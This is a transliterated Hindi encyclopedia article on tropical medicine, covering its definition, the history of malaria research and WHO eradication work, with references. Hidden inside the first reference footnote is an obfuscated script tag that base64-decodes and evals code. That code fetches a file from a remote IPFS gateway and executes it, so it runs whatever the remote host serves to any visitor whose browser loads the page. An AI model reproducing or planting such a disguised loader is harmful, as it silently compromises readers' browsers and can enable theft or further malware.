उष्णदेशीय आयुर्विज्ञान
ushnadeshiy ayurvijnan ushn deshoan ke un vishesh rogoan ki chikitsa ka vijnan hai, jo any deshoan mean nahian hote. ye vyadhiyaan in deshoan mean vishesh roop se aise karanoan par nirbhar haian jo inake prasaran mean sahayak haian athava ve rog haian jo svachchhata ke abhav, shiksha ke nimn star tatha logoan ki nimn arthik avastha se sanbaddh haian. is prakar ke rogoan mean poshak tatvoan ki kami ke karan utpann rog tatha kuchh sankramak rog haian. yadyapi kuchh dvaishita (mailignainsi) tatha chirakalik vhrisan (kr aaunik dijenareshan) vale rog isake aantargat ate haian, tathapi janasvasthy ki drishti se unaka sthan gaun hai.
ushnadeshiy ayurvijnan un vyadhiyoan par vishesh dhyan deta hai jo samashitoshn kiantu adhik unnat deshoan mean abhyantarik (dabi huee) rahati haian; parantu yakshma (tapedik), upadansh adi vyadhiyoan par, jo vishv mean saman roop se phaili huee haian, vishesh dhyan nahian deta, yadyapi ye hi rog in deshoan mean honevali adhikaansh mrityuoan ka karan hote haian.
poorvokt ushnadeshiy vyadhiyoan ki kasauti kamachalaoo hi hai kyoanki kuchh vyadhiyaan, jo ab ushn deshoan ke lie abhyantarik haian, pahale yahian ugr roop mean paee jati thian. udaharan ke lie ju di; (maleriya) ko lijie. yah 19vian shatabdi mean uttari sanyukt rajy, amarika, mean paya jata tha aur ab vahaan ke lie abhyantarik vyadhi hai. ushnadeshiy ayurvijnan mean ise mahatvapoorn sthan prapt hai.
pragati - ushnadeshiy ayurvijnan ka vikas adhikatar in deshoan mean videshiyoan ke a basane tatha vanijy ke sath hua hai. praranbh mean in deshoan mean janevale yatriyoan tatha yahaan par niyukt adhikariyoan ki svasthyasuraksha ke nimitt niyukt kie ge prabandhakoan ko hi yahaan ke nivasiyoan ke svasthy ki dekhabhal bhi sauanp di gee. 1875 se 1925 ee. tak ka kal ushn jalavayuvale deshoan ke kee rogoan ke karanoan tatha prasar ke vishad adhyayan ke lie apoorv hai.
1897 ee. mean roval r aaus namak vaijnanik ne ju di ke aandakosha (oosait) ka ainaphalain jati ki stri machchhar mean upasthiti ka pata lagaya. usake 17 varsh bad alphansi-layaran namak vaijnanik ne isi rog ke paropajiviyoan ki upasthiti manav rudhir mean paee. shatabdi ke aant mean in tathyoan ke sath-sath isi prakar ki any khojean bhi huee, jinase kalajvar (kala azar), aphriki nidrarog, tanusootr adi rogoan ke karanoan ka pata lagaya gaya.
vaiksin tatha roganunashi (aiantibayatik) oshadhiyoan ke avishkar ne is prakar ke rogoan ke prasaran ko avaruddh kar diya hai.[1]
vishalatar paimane par in deshoan ki vyadhiyoan ke prabhavoan ko kshin karane tatha inake prasar ki rokatham karane ke lie sabhi deshoan ke sanyukt prayasoan ke sath-sath un vaijnanikoan ke prayatnoan ki bhi avashyakata hai jo vijnan ki navinatam khojoan ke anusar mahattam saphalatadayak haian.
dvitiy mahayuddh ke pashchath sangathit vishv svasthy sanstha (varld haijin aauragainaizeshan) is or karyarat hai. apani sarvapratham baithak mean hi is sanstha ne maleriya ke unmoolan ke lie ek aantararashtriy karyakram svikrit kiya tha.
ushnadeshiy nivasiyoan ki svasthyasuraksha ki dekhabhal ke sath sath unake shiksha tatha arthik star ke oopar uthanevale karyakramoan ki bhi avashyakata hai.[2]
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tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 2 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 150 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ san.gran.-ji.si. shaitak : aauv tr aaupiks (1951); pi.ech.mainasan : mainasans tr aaupikal dizizez (1950); maiki, hantar aur varth : emainual aauv tr aaupikal medisin (1955).
sanbandhit lekh
varnamala kramanusar lekh khoj
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